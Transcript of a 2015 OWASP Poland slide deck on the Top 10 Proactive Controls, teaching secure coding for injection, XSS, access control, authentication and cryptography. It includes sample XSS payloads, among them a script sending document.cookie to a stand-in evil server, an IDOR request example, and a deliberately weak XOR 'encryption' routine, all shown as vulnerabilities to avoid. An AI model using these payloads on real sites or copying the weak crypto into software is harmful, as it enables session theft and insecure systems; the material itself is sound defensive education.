Post on 27-Jul-2015
transcript
Mateusz Olejarka @molejarka
• Senior IT Security Consultant @SecuRing
• Ex-developer• OWASP Poland since 2011
OWASPO = Open
• Docs & tools– free– Creative Commons license– open source
• Build with open collaboration in mind– Each one of you can join
3
4Developers 2014* questionnaire* SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”• 62% companies do not educate programmers on
application security• >50% companies do not consider security during the
design stage• 73% participants confirmed, that they fixed security
related issues• only 42% confirmed, that they do security testing
before production deployment
OWASP Top10 Risk vsOWASP Top10 Proactive Controls
Disclaimer
• Do not rely your application security on Top 10 *– It is purely educational material– Each application has its own risk profile
SQL/LDAP/XML/cmd/…-injection
Easily exploitable• Simple to use tools existDevastating impact#1
Źródło: http://xkcd.com/327/
Best practices
#1 Prepared Statements / Parametrized Queries
#2 Stored Procedures– Watch for exeptions! (eval,dynamic block, etc.)
#3 Escaping– risky!
String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
References
• Bobby Tables: A guide to preventing SQL injection
• Query Parameterization Cheat Sheet• SQL Injection Prevention Cheat Sheet• OWASP
Secure Coding Practices Quick Reference Guide
XSS
• Site defacement
• Session hijacking
<script>document.body.innerHTML(“Jim was here”);</script>
<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>
Results of missing encoding
• Session hijacking• Network scanning• CSRF prevention bypass• Site defacement (browser)• …• Browser hijack
– vide BeEF
Cross Site Scripting
But when we write output inside pure JavaScript:
<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
Best practices
• Special character encoding has to be context aware– HTML element – HTML attribute– JavaScript– JSON– CSS / style– URL
References
• XSS (Cross Site Scripting) Prevention Cheat Sheet
• Java Encoder Project• Microsoft .NET AntiXSS Library• OWASP ESAPI• Encoder Comparison Reference Project
Why validate anything?
• Most of other vulnerabilities (np. injections, xss, …) occurs (also) from missing input validation
• Validation it is like firewall– Do not protects you agains everything– …but nice to have
Best practices
• Prefer whitelist over blacklist approach,• Use strongly typed fields
– One validator per one data type– Easier to integrate a WAF
• Validation = first line of defence– For exaple type casting prevents injection– But not the only one!
References
• Input Validation Cheat Sheet• Apache Commons Validator• OWASP JSON Sanitizer Project• OWASP Java HTML Sanitizer Project• Google Caja
HTTP requestGET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: accConnection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Account id change – we get other user data
Best practices
• Server makes a final call!• Default deny• All request must go through access controll
– centralized, easy to use mechanism• Access control rules (policy) should be
separated from code– Not a part of it
if (currentUser.hasRole(“administrator”)) { //pozwol} else { //zabron}
If (currentUser.isPermitted(printPermission)) { //pozwol} else { //zabron}
References
• Access Control Cheat Sheet• Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features• OWASP PHPRBAC Project
Thou shalt establish identity and authentication controls
5: Establish Identity and Authentication Controls
Example vulnerability
• Authentication with locally stored key (on the machine)
• Process:1. Enter login2. Select key file,enter key password3. We are logged in
https://...../GenerateNewKey
Best practices
• Check access control for the functions allowing to change authentication credentials
• „chain of trust” rule• Watch for session at the border!• Do not limit length and characters to use in
password
References
• Authentication Cheat Sheet• Password Storage Cheat Sheet• Forgot Password Cheat Sheet• Session Management Cheat Sheet
Example (at transit)
• SSL covers encryption and authentication• What verifies servers identity?
– Web applications: Browser– Mobile / thick-client / embedded… application:
Application• Common errors
– Missing certificate validation– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”– Missing exception handling
Best practices (in transit)
• TLS• For whole application• Cookies: „Secure” flag • HTTP Strict Transport Security• Strong cipher suites• Chain of trust• Certificate pinning
References (in transit)
• Transport Layer Protection Cheat Sheet• Pinning Cheat Sheet• OWASP O-Saft (SSL Audit for Testers)
Example (at rest)
• Storing password• „Own” SHA1 function
public static String encrypt(byte [] in){
String out = "";for(int i = 0; i < in.length; i++){
byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b
& 0x0f];} return out;
}
Best practices(at rest)
• Do not reinwent the wheel!– Home-bred ciphers are evil– Own crypto is evil– Only libraries with reputation!
• Strong ciphers in strong modes– ECB is evil– CBC – watch for „padding oracle”
• Good RNG for IV
References
• Google KeyCzar• Cryptographic Storage Cheat Sheet• Password Storage Cheat Sheet
Thou shalt implement logging, error handling and intrusion detection
7: Implement Logging, Error Handling and Intrusion Detection
References
• Logging Cheat Sheet• OWASP AppSensor Project
Thou shalt leverage security features of frameworks and security libraries
8: Leverage Security Features of Frameworks and Security Libraries
Refenences
• PHP Security Cheat Sheet• .NET Security Cheat Sheet• Spring Security• Apache Shiro• OWASP Dependency Check / Track
Building requirements
• Attack scenatios– How threats can reach the objectives?– Requires experience and expertise
• Selection of security controls == REQUIREMENTS
Threat ResultsAttack
scenarios
Who? How? What?
References
• OWASP Application Security Verification Standard Project
• Software Assurance Maturity Model• Business Logic Security Cheat Sheet• Testing for business logic (OWASP-BL-001)
References
• Software Assurance Maturity Model (OpenSAMM)
• Application Security Verification Standard Project
• Application Security Architecture Cheat Sheet• Attack Surface Analysis Cheat Sheet• Threat Modeling Cheat Sheet
That was just the Top Ten!
• Each application is different– Risk profile should be defined (WHO? WHY?) – Consider „compliance with existing regulations”
• Few easy steps with big positive impact• Developers education is worth it!
OWASP meetings
• https://www.owasp.org/index.php/Poland • Mailing list• Facebook: OWASP Poland Local Chapter• Twitter: @owasppoland